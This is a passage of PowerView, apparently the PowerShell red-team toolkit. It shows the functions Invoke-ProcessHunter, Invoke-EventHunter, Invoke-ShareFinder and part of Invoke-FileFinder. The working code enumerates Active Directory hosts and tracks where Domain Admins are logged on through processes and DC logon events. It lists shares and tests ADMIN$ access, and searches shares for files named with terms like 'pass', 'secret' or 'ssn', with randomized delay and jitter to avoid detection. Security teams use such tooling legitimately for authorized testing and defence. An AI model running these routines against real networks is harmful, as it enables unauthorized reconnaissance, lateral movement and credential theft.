10305 $DebugPreference = 'Continue'
10306 }
10307
10308 # random object for delay
10309 $RandNo = New-Object System.Random
10310
10311 Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay"
10312
10313 #####################################################
10314 #
10315 # First we build the host target set
10316 #
10317 #####################################################
10318
10319 # if we're using a host list, read the targets in and add them to the target list
10320 if($ComputerFile) {
10321 $ComputerName = Get-Content -Path $ComputerFile
10322 }
10323
10324 if(!$ComputerName) {
10325 [array]$ComputerName = @()
10326
10327 if($Domain) {
10328 $TargetDomains = @($Domain)
10329 }
10330 elseif($SearchForest) {
10331 # get ALL the domains in the forest to search
10332 $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }
10333 }
10334 else {
10335 # use the local domain
10336 $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )
10337 }
10338
10339 ForEach ($Domain in $TargetDomains) {
10340 Write-Verbose "[*] Querying domain $Domain for hosts"
10341 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
10342 }
10343
10344 # remove any null target hosts, uniquify the list and shuffle it
10345 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
10346 if($($ComputerName.Count) -eq 0) {
10347 throw "No hosts found!"
10348 }
10349 }
10350
10351 #####################################################
10352 #
10353 # Now we build the user target set
10354 #
10355 #####################################################
10356
10357 if(!$ProcessName) {
10358 Write-Verbose "No process name specified, building a target user set"
10359
10360 # users we're going to be searching for
10361 $TargetUsers = @()
10362
10363 # if we want to hunt for the effective domain users who can access a target server
10364 if($TargetServer) {
10365 Write-Verbose "Querying target server '$TargetServer' for local users"
10366 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
10367 ($_.AccountName).split("/")[1].toLower()
10368 } | Where-Object {$_}
10369 }
10370 # if we get a specific username, only use that
10371 elseif($UserName) {
10372 Write-Verbose "[*] Using target user '$UserName'..."
10373 $TargetUsers = @( $UserName.ToLower() )
10374 }
10375 # read in a target user list if we have one
10376 elseif($UserFile) {
10377 $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
10378 }
10379 elseif($UserADSpath -or $UserFilter) {
10380 ForEach ($Domain in $TargetDomains) {
10381 Write-Verbose "[*] Querying domain $Domain for users"
10382 $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
10383 $_.samaccountname
10384 } | Where-Object {$_}
10385 }
10386 }
10387 else {
10388 ForEach ($Domain in $TargetDomains) {
10389 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
10390 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
10391 $_.MemberName
10392 }
10393 }
10394 }
10395
10396 if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
10397 throw "[!] No users found to search for!"
10398 }
10399 }
10400
10401 # script block that enumerates a server
10402 $HostEnumBlock = {
10403 param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)
10404
10405 # optionally check if the server is up first
10406 $Up = $True
10407 if($Ping) {
10408 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
10409 }
10410 if($Up) {
10411 # try to enumerate all active processes on the remote host
10412 # and search for a specific process name
10413 $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue
10414
10415 ForEach ($Process in $Processes) {
10416 # if we're hunting for a process name or comma-separated names
10417 if($ProcessName) {
10418 $ProcessName.split(",") | ForEach-Object {
10419 if ($Process.ProcessName -match $_) {
10420 $Process
10421 }
10422 }
10423 }
10424 # if the session user is in the target list, display some output
10425 elseif ($TargetUsers -contains $Process.User) {
10426 $Process
10427 }
10428 }
10429 }
10430 }
10431
10432 }
10433
10434 process {
10435
10436 if($Threads) {
10437 Write-Verbose "Using threading with threads = $Threads"
10438
10439 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
10440 $ScriptParams = @{
10441 'Ping' = $(-not $NoPing)
10442 'ProcessName' = $ProcessName
10443 'TargetUsers' = $TargetUsers
10444 'Credential' = $Credential
10445 }
10446
10447 # kick off the threaded script block + arguments
10448 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
10449 }
10450
10451 else {
10452 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
10453 # ping all hosts in parallel
10454 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
10455 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
10456 }
10457
10458 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
10459 $Counter = 0
10460
10461 ForEach ($Computer in $ComputerName) {
10462
10463 $Counter = $Counter + 1
10464
10465 # sleep for our semi-randomized interval
10466 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
10467
10468 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
10469 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential
10470 $Result
10471
10472 if($Result -and $StopOnSuccess) {
10473 Write-Verbose "[*] Target user/process found, returning early"
10474 return
10475 }
10476 }
10477 }
10478 }
10479}
10480
10481
10482function Invoke-EventHunter {
10483<#
10484 .SYNOPSIS
10485
10486 Queries all domain controllers on the network for account
10487 logon events (ID 4624) and TGT request events (ID 4768),
10488 searching for target users.
10489
10490 Note: Domain Admin (or equiv) rights are needed to query
10491 this information from the DCs.
10492
10493 Author: @sixdub, @harmj0y
10494 License: BSD 3-Clause
10495
10496 .PARAMETER ComputerName
10497
10498 Host array to enumerate, passable on the pipeline.
10499
10500 .PARAMETER ComputerFile
10501
10502 File of hostnames/IPs to search.
10503
10504 .PARAMETER ComputerFilter
10505
10506 Host filter name to query AD for, wildcards accepted.
10507
10508 .PARAMETER ComputerADSpath
10509
10510 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10511 Useful for OU queries.
10512
10513 .PARAMETER GroupName
10514
10515 Group name to query for target users.
10516
10517 .PARAMETER TargetServer
10518
10519 Hunt for users who are effective local admins on a target server.
10520
10521 .PARAMETER UserName
10522
10523 Specific username to search for.
10524
10525 .PARAMETER UserFilter
10526
10527 A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
10528
10529 .PARAMETER UserADSpath
10530
10531 The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10532 Useful for OU queries.
10533
10534 .PARAMETER UserFile
10535
10536 File of usernames to search for.
10537
10538 .PARAMETER NoPing
10539
10540 Don't ping each host to ensure it's up before enumerating.
10541
10542 .PARAMETER Domain
10543
10544 Domain for query for machines, defaults to the current domain.
10545
10546 .PARAMETER DomainController
10547
10548 Domain controller to reflect LDAP queries through.
10549
10550 .PARAMETER SearchDays
10551
10552 Number of days back to search logs for. Default 3.
10553
10554 .PARAMETER SearchForest
10555
10556 Switch. Search all domains in the forest for target users instead of just
10557 a single domain.
10558
10559 .PARAMETER Threads
10560
10561 The maximum concurrent threads to execute.
10562
10563 .PARAMETER Credential
10564
10565 A [Management.Automation.PSCredential] object of alternate credentials
10566 for connection to the target domain.
10567
10568 .EXAMPLE
10569
10570 PS C:\> Invoke-EventHunter
10571
10572 .LINK
10573
10574 http://blog.harmj0y.net
10575#>
10576
10577 [CmdletBinding()]
10578 param(
10579 [Parameter(Position=0,ValueFromPipeline=$True)]
10580 [Alias('Hosts')]
10581 [String[]]
10582 $ComputerName,
10583
10584 [ValidateScript({Test-Path -Path $_ })]
10585 [Alias('HostList')]
10586 [String]
10587 $ComputerFile,
10588
10589 [String]
10590 $ComputerFilter,
10591
10592 [String]
10593 $ComputerADSpath,
10594
10595 [String]
10596 $GroupName = 'Domain Admins',
10597
10598 [String]
10599 $TargetServer,
10600
10601 [String[]]
10602 $UserName,
10603
10604 [String]
10605 $UserFilter,
10606
10607 [String]
10608 $UserADSpath,
10609
10610 [ValidateScript({Test-Path -Path $_ })]
10611 [String]
10612 $UserFile,
10613
10614 [String]
10615 $Domain,
10616
10617 [String]
10618 $DomainController,
10619
10620 [Int32]
10621 $SearchDays = 3,
10622
10623 [Switch]
10624 $SearchForest,
10625
10626 [ValidateRange(1,100)]
10627 [Int]
10628 $Threads,
10629
10630 [Management.Automation.PSCredential]
10631 $Credential
10632 )
10633
10634 begin {
10635
10636 if ($PSBoundParameters['Debug']) {
10637 $DebugPreference = 'Continue'
10638 }
10639
10640 # random object for delay
10641 $RandNo = New-Object System.Random
10642
10643 Write-Verbose "[*] Running Invoke-EventHunter"
10644
10645 if($Domain) {
10646 $TargetDomains = @($Domain)
10647 }
10648 elseif($SearchForest) {
10649 # get ALL the domains in the forest to search
10650 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
10651 }
10652 else {
10653 # use the local domain
10654 $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )
10655 }
10656
10657 #####################################################
10658 #
10659 # First we build the host target set
10660 #
10661 #####################################################
10662
10663 if(!$ComputerName) {
10664 # if we're using a host list, read the targets in and add them to the target list
10665 if($ComputerFile) {
10666 $ComputerName = Get-Content -Path $ComputerFile
10667 }
10668 elseif($ComputerFilter -or $ComputerADSpath) {
10669 [array]$ComputerName = @()
10670 ForEach ($Domain in $TargetDomains) {
10671 Write-Verbose "[*] Querying domain $Domain for hosts"
10672 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
10673 }
10674 }
10675 else {
10676 # if a computer specifier isn't given, try to enumerate all domain controllers
10677 [array]$ComputerName = @()
10678 ForEach ($Domain in $TargetDomains) {
10679 Write-Verbose "[*] Querying domain $Domain for domain controllers"
10680 $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}
10681 }
10682 }
10683
10684 # remove any null target hosts, uniquify the list and shuffle it
10685 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
10686 if($($ComputerName.Count) -eq 0) {
10687 throw "No hosts found!"
10688 }
10689 }
10690
10691 #####################################################
10692 #
10693 # Now we build the user target set
10694 #
10695 #####################################################
10696
10697 # users we're going to be searching for
10698 $TargetUsers = @()
10699
10700 # if we want to hunt for the effective domain users who can access a target server
10701 if($TargetServer) {
10702 Write-Verbose "Querying target server '$TargetServer' for local users"
10703 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
10704 ($_.AccountName).split("/")[1].toLower()
10705 } | Where-Object {$_}
10706 }
10707 # if we get a specific username, only use that
10708 elseif($UserName) {
10709 # Write-Verbose "[*] Using target user '$UserName'..."
10710 $TargetUsers = $UserName | ForEach-Object {$_.ToLower()}
10711 if($TargetUsers -isnot [System.Array]) {
10712 $TargetUsers = @($TargetUsers)
10713 }
10714 }
10715 # read in a target user list if we have one
10716 elseif($UserFile) {
10717 $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
10718 }
10719 elseif($UserADSpath -or $UserFilter) {
10720 ForEach ($Domain in $TargetDomains) {
10721 Write-Verbose "[*] Querying domain $Domain for users"
10722 $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
10723 $_.samaccountname
10724 } | Where-Object {$_}
10725 }
10726 }
10727 else {
10728 ForEach ($Domain in $TargetDomains) {
10729 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
10730 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
10731 $_.MemberName
10732 }
10733 }
10734 }
10735
10736 if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
10737 throw "[!] No users found to search for!"
10738 }
10739
10740 # script block that enumerates a server
10741 $HostEnumBlock = {
10742 param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)
10743
10744 # optionally check if the server is up first
10745 $Up = $True
10746 if($Ping) {
10747 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
10748 }
10749 if($Up) {
10750 # try to enumerate
10751 if($Credential) {
10752 Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
10753 # filter for the target user set
10754 $TargetUsers -contains $_.UserName
10755 }
10756 }
10757 else {
10758 Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
10759 # filter for the target user set
10760 $TargetUsers -contains $_.UserName
10761 }
10762 }
10763 }
10764 }
10765
10766 }
10767
10768 process {
10769
10770 if($Threads) {
10771 Write-Verbose "Using threading with threads = $Threads"
10772
10773 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
10774 $ScriptParams = @{
10775 'Ping' = $(-not $NoPing)
10776 'TargetUsers' = $TargetUsers
10777 'SearchDays' = $SearchDays
10778 'Credential' = $Credential
10779 }
10780
10781 # kick off the threaded script block + arguments
10782 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
10783 }
10784
10785 else {
10786 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
10787 # ping all hosts in parallel
10788 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
10789 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
10790 }
10791
10792 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
10793 $Counter = 0
10794
10795 ForEach ($Computer in $ComputerName) {
10796
10797 $Counter = $Counter + 1
10798
10799 # sleep for our semi-randomized interval
10800 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
10801
10802 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
10803 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential
10804 }
10805 }
10806
10807 }
10808}
10809
10810
10811function Invoke-ShareFinder {
10812<#
10813 .SYNOPSIS
10814
10815 This function finds the local domain name for a host using Get-NetDomain,
10816 queries the domain for all active machines with Get-NetComputer, then for
10817 each server it lists of active shares with Get-NetShare. Non-standard shares
10818 can be filtered out with -Exclude* flags.
10819
10820 Author: @harmj0y
10821 License: BSD 3-Clause
10822
10823 .PARAMETER ComputerName
10824
10825 Host array to enumerate, passable on the pipeline.
10826
10827 .PARAMETER ComputerFile
10828
10829 File of hostnames/IPs to search.
10830
10831 .PARAMETER ComputerFilter
10832
10833 Host filter name to query AD for, wildcards accepted.
10834
10835 .PARAMETER ComputerADSpath
10836
10837 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10838 Useful for OU queries.
10839
10840 .PARAMETER ExcludeStandard
10841
10842 Switch. Exclude standard shares from display (C$, IPC$, print$ etc.)
10843
10844 .PARAMETER ExcludePrint
10845
10846 Switch. Exclude the print$ share.
10847
10848 .PARAMETER ExcludeIPC
10849
10850 Switch. Exclude the IPC$ share.
10851
10852 .PARAMETER CheckShareAccess
10853
10854 Switch. Only display found shares that the local user has access to.
10855
10856 .PARAMETER CheckAdmin
10857
10858 Switch. Only display ADMIN$ shares the local user has access to.
10859
10860 .PARAMETER NoPing
10861
10862 Switch. Don't ping each host to ensure it's up before enumerating.
10863
10864 .PARAMETER Delay
10865
10866 Delay between enumerating hosts, defaults to 0.
10867
10868 .PARAMETER Jitter
10869
10870 Jitter for the host delay, defaults to +/- 0.3.
10871
10872 .PARAMETER Domain
10873
10874 Domain to query for machines, defaults to the current domain.
10875
10876 .PARAMETER DomainController
10877
10878 Domain controller to reflect LDAP queries through.
10879
10880 .PARAMETER SearchForest
10881
10882 Switch. Search all domains in the forest for target users instead of just
10883 a single domain.
10884
10885 .PARAMETER Threads
10886
10887 The maximum concurrent threads to execute.
10888
10889 .EXAMPLE
10890
10891 PS C:\> Invoke-ShareFinder -ExcludeStandard
10892
10893 Find non-standard shares on the domain.
10894
10895 .EXAMPLE
10896
10897 PS C:\> Invoke-ShareFinder -Threads 20
10898
10899 Multi-threaded share finding, replaces Invoke-ShareFinderThreaded.
10900
10901 .EXAMPLE
10902
10903 PS C:\> Invoke-ShareFinder -Delay 60
10904
10905 Find shares on the domain with a 60 second (+/- *.3)
10906 randomized delay between touching each host.
10907
10908 .EXAMPLE
10909
10910 PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt
10911
10912 Find shares for machines in the specified hosts file.
10913
10914 .LINK
10915 http://blog.harmj0y.net
10916#>
10917
10918 [CmdletBinding()]
10919 param(
10920 [Parameter(Position=0,ValueFromPipeline=$True)]
10921 [Alias('Hosts')]
10922 [String[]]
10923 $ComputerName,
10924
10925 [ValidateScript({Test-Path -Path $_ })]
10926 [Alias('HostList')]
10927 [String]
10928 $ComputerFile,
10929
10930 [String]
10931 $ComputerFilter,
10932
10933 [String]
10934 $ComputerADSpath,
10935
10936 [Switch]
10937 $ExcludeStandard,
10938
10939 [Switch]
10940 $ExcludePrint,
10941
10942 [Switch]
10943 $ExcludeIPC,
10944
10945 [Switch]
10946 $NoPing,
10947
10948 [Switch]
10949 $CheckShareAccess,
10950
10951 [Switch]
10952 $CheckAdmin,
10953
10954 [UInt32]
10955 $Delay = 0,
10956
10957 [Double]
10958 $Jitter = .3,
10959
10960 [String]
10961 $Domain,
10962
10963 [String]
10964 $DomainController,
10965
10966 [Switch]
10967 $SearchForest,
10968
10969 [ValidateRange(1,100)]
10970 [Int]
10971 $Threads
10972 )
10973
10974 begin {
10975 if ($PSBoundParameters['Debug']) {
10976 $DebugPreference = 'Continue'
10977 }
10978
10979 # random object for delay
10980 $RandNo = New-Object System.Random
10981
10982 Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay"
10983
10984 # figure out the shares we want to ignore
10985 [String[]] $ExcludedShares = @('')
10986
10987 if ($ExcludePrint) {
10988 $ExcludedShares = $ExcludedShares + "PRINT$"
10989 }
10990 if ($ExcludeIPC) {
10991 $ExcludedShares = $ExcludedShares + "IPC$"
10992 }
10993 if ($ExcludeStandard) {
10994 $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")
10995 }
10996
10997 # if we're using a host file list, read the targets in and add them to the target list
10998 if($ComputerFile) {
10999 $ComputerName = Get-Content -Path $ComputerFile
11000 }
11001
11002 if(!$ComputerName) {
11003 [array]$ComputerName = @()
11004
11005 if($Domain) {
11006 $TargetDomains = @($Domain)
11007 }
11008 elseif($SearchForest) {
11009 # get ALL the domains in the forest to search
11010 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
11011 }
11012 else {
11013 # use the local domain
11014 $TargetDomains = @( (Get-NetDomain).name )
11015 }
11016
11017 ForEach ($Domain in $TargetDomains) {
11018 Write-Verbose "[*] Querying domain $Domain for hosts"
11019 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
11020 }
11021
11022 # remove any null target hosts, uniquify the list and shuffle it
11023 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
11024 if($($ComputerName.count) -eq 0) {
11025 throw "No hosts found!"
11026 }
11027 }
11028
11029 # script block that enumerates a server
11030 $HostEnumBlock = {
11031 param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)
11032
11033 # optionally check if the server is up first
11034 $Up = $True
11035 if($Ping) {
11036 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
11037 }
11038 if($Up) {
11039 # get the shares for this host and check what we find
11040 $Shares = Get-NetShare -ComputerName $ComputerName
11041 ForEach ($Share in $Shares) {
11042 Write-Verbose "[*] Server share: $Share"
11043 $NetName = $Share.shi1_netname
11044 $Remark = $Share.shi1_remark
11045 $Path = '\\'+$ComputerName+'\'+$NetName
11046
11047 # make sure we get a real share name back
11048 if (($NetName) -and ($NetName.trim() -ne '')) {
11049 # if we're just checking for access to ADMIN$
11050 if($CheckAdmin) {
11051 if($NetName.ToUpper() -eq "ADMIN$") {
11052 try {
11053 $Null = [IO.Directory]::GetFiles($Path)
11054 "\\$ComputerName\$NetName `t- $Remark"
11055 }
11056 catch {
11057 Write-Verbose "Error accessing path $Path : $_"
11058 }
11059 }
11060 }
11061 # skip this share if it's in the exclude list
11062 elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
11063 # see if we want to check access to this share
11064 if($CheckShareAccess) {
11065 # check if the user has access to this path
11066 try {
11067 $Null = [IO.Directory]::GetFiles($Path)
11068 "\\$ComputerName\$NetName `t- $Remark"
11069 }
11070 catch {
11071 Write-Verbose "Error accessing path $Path : $_"
11072 }
11073 }
11074 else {
11075 "\\$ComputerName\$NetName `t- $Remark"
11076 }
11077 }
11078 }
11079 }
11080 }
11081 }
11082
11083 }
11084
11085 process {
11086
11087 if($Threads) {
11088 Write-Verbose "Using threading with threads = $Threads"
11089
11090 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
11091 $ScriptParams = @{
11092 'Ping' = $(-not $NoPing)
11093 'CheckShareAccess' = $CheckShareAccess
11094 'ExcludedShares' = $ExcludedShares
11095 'CheckAdmin' = $CheckAdmin
11096 }
11097
11098 # kick off the threaded script block + arguments
11099 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
11100 }
11101
11102 else {
11103 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
11104 # ping all hosts in parallel
11105 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
11106 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
11107 }
11108
11109 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
11110 $Counter = 0
11111
11112 ForEach ($Computer in $ComputerName) {
11113
11114 $Counter = $Counter + 1
11115
11116 # sleep for our semi-randomized interval
11117 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
11118
11119 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
11120 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
11121 }
11122 }
11123
11124 }
11125}
11126
11127
11128function Invoke-FileFinder {
11129<#
11130 .SYNOPSIS
11131
11132 Finds sensitive files on the domain.
11133
11134 Author: @harmj0y
11135 License: BSD 3-Clause
11136
11137 .DESCRIPTION
11138
11139 This function finds the local domain name for a host using Get-NetDomain,
11140 queries the domain for all active machines with Get-NetComputer, grabs
11141 the readable shares for each server, and recursively searches every
11142 share for files with specific keywords in the name.
11143 If a share list is passed, EVERY share is enumerated regardless of
11144 other options.
11145
11146 .PARAMETER ComputerName
11147
11148 Host array to enumerate, passable on the pipeline.
11149
11150 .PARAMETER ComputerFile
11151
11152 File of hostnames/IPs to search.
11153
11154 .PARAMETER ComputerFilter
11155
11156 Host filter name to query AD for, wildcards accepted.
11157
11158 .PARAMETER ComputerADSpath
11159
11160 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
11161 Useful for OU queries.
11162
11163 .PARAMETER ShareList
11164
11165 List if \\HOST\shares to search through.
11166
11167 .PARAMETER Terms
11168
11169 Terms to search for.
11170
11171 .PARAMETER OfficeDocs
11172
11173 Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
11174
11175 .PARAMETER FreshEXEs
11176
11177 Switch. Find .EXEs accessed within the last week.
11178
11179 .PARAMETER LastAccessTime
11180
11181 Only return files with a LastAccessTime greater than this date value.
11182
11183 .PARAMETER LastWriteTime
11184
11185 Only return files with a LastWriteTime greater than this date value.
11186
11187 .PARAMETER CreationTime
11188
11189 Only return files with a CreationDate greater than this date value.
11190
11191 .PARAMETER IncludeC
11192
11193 Switch. Include any C$ shares in recursive searching (default ignore).
11194
11195 .PARAMETER IncludeAdmin
11196
11197 Switch. Include any ADMIN$ shares in recursive searching (default ignore).
11198
11199 .PARAMETER ExcludeFolders
11200
11201 Switch. Exclude folders from the search results.
11202
11203 .PARAMETER ExcludeHidden
11204
11205 Switch. Exclude hidden files and folders from the search results.
11206
11207 .PARAMETER CheckWriteAccess
11208
11209 Switch. Only returns files the current user has write access to.
11210
11211 .PARAMETER OutFile
11212
11213 Output results to a specified csv output file.
11214
11215 .PARAMETER NoClobber
11216
11217 Switch. Don't overwrite any existing output file.
11218
11219 .PARAMETER NoPing
11220
11221 Switch. Don't ping each host to ensure it's up before enumerating.
11222
11223 .PARAMETER Delay
11224
11225 Delay between enumerating hosts, defaults to 0
11226
11227 .PARAMETER Jitter
11228
11229 Jitter for the host delay, defaults to +/- 0.3
11230
11231 .PARAMETER Domain
11232
11233 Domain to query for machines, defaults to the current domain.
11234
11235 .PARAMETER DomainController
11236
11237 Domain controller to reflect LDAP queries through.
11238
11239 .PARAMETER SearchForest
11240
11241 Search all domains in the forest for target users instead of just
11242 a single domain.
11243
11244 .PARAMETER SearchSYSVOL
11245
11246 Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.
11247
11248 .PARAMETER Threads
11249
11250 The maximum concurrent threads to execute.
11251
11252 .PARAMETER UsePSDrive
11253
11254 Switch. Mount target remote path with temporary PSDrives.
11255
11256 .EXAMPLE
11257
11258 PS C:\> Invoke-FileFinder
11259
11260 Find readable files on the domain with 'pass', 'sensitive',
11261 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
11262
11263 .EXAMPLE
11264
11265 PS C:\> Invoke-FileFinder -Domain testing
11266
11267 Find readable files on the 'testing' domain with 'pass', 'sensitive',
11268 'secret', 'admin', 'login', or 'unattend*.xml' in the name,
11269
11270 .EXAMPLE
11271
11272 PS C:\> Invoke-FileFinder -IncludeC
11273
11274 Find readable files on the domain with 'pass', 'sensitive',
11275 'secret', 'admin', 'login' or 'unattend*.xml' in the name,
11276 including C$ shares.
11277
11278 .EXAMPLE
11279
11280 PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv
11281
11282 Enumerate a specified share list for files with 'accounts' or
11283 'ssn' in the name, and write everything to "out.csv"
11284
11285 .LINK
11286 http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
11287
11288#>
11289
11290 [CmdletBinding()]
11291 param(
11292 [Parameter(Position=0,ValueFromPipeline=$True)]
11293 [Alias('Hosts')]
11294 [String[]]
11295 $ComputerName,
11296
11297 [ValidateScript({Test-Path -Path $_ })]
11298 [Alias('HostList')]
11299 [String]
11300 $ComputerFile,
11301
11302 [String]
11303 $ComputerFilter,
11304
11305 [String]
11306 $ComputerADSpath,
11307
11308 [ValidateScript({Test-Path -Path $_ })]
11309 [String]
11310 $ShareList,
11311
11312 [Switch]
11313 $OfficeDocs,
11314
11315 [Switch]
11316 $FreshEXEs,
11317
11318 [Alias('Terms')]
11319 [String[]]
11320 $SearchTerms,
11321
11322 [ValidateScript({Test-Path -Path $_ })]
11323 [String]
11324 $TermList,
11325
11326 [String]
11327 $LastAccessTime,
11328
11329 [String]
11330 $LastWriteTime,
11331
11332 [String]
11333 $CreationTime,
11334
11335 [Switch]
11336 $IncludeC,
11337
11338 [Switch]
11339 $IncludeAdmin,
11340
11341 [Switch]
11342 $ExcludeFolders,
11343
11344 [Switch]
11345 $ExcludeHidden,
11346
11347 [Switch]
11348 $CheckWriteAccess,
11349
11350 [String]
11351 $OutFile,
11352
11353 [Switch]
11354 $NoClobber,
11355
11356 [Switch]
11357 $NoPing,
11358
11359 [UInt32]
11360 $Delay = 0,
11361
11362 [Double]
11363 $Jitter = .3,
11364
11365 [String]
11366 $Domain,
11367
11368 [String]
11369 $DomainController,
11370
11371 [Switch]
11372 $SearchForest,
11373
11374 [Switch]
11375 $SearchSYSVOL,
11376
11377 [ValidateRange(1,100)]
11378 [Int]
11379 $Threads,
11380
11381 [Switch]
11382 $UsePSDrive
11383 )
11384
11385 begin {
11386 if ($PSBoundParameters['Debug']) {
11387 $DebugPreference = 'Continue'
11388 }
11389
11390 # random object for delay
11391 $RandNo = New-Object System.Random
11392
11393 Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay"
11394
11395 $Shares = @()
11396
11397 # figure out the shares we want to ignore
11398 [String[]] $ExcludedShares = @("C$", "ADMIN$")
11399
11400 # see if we're specifically including any of the normally excluded sets
11401 if ($IncludeC) {
11402 if ($IncludeAdmin) {
11403 $ExcludedShares = @()
11404 }
11405 else {
11406 $ExcludedShares = @("ADMIN$")
11407 }
11408 }
11409
11410 if ($IncludeAdmin) {
11411 if ($IncludeC) {
11412 $ExcludedShares = @()
11413 }
11414 else {
11415 $ExcludedShares = @("C$")
11416 }
11417 }
11418
11419 # delete any existing output file if it already exists
11420 if(!$NoClobber) {
11421 if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
11422 }
11423
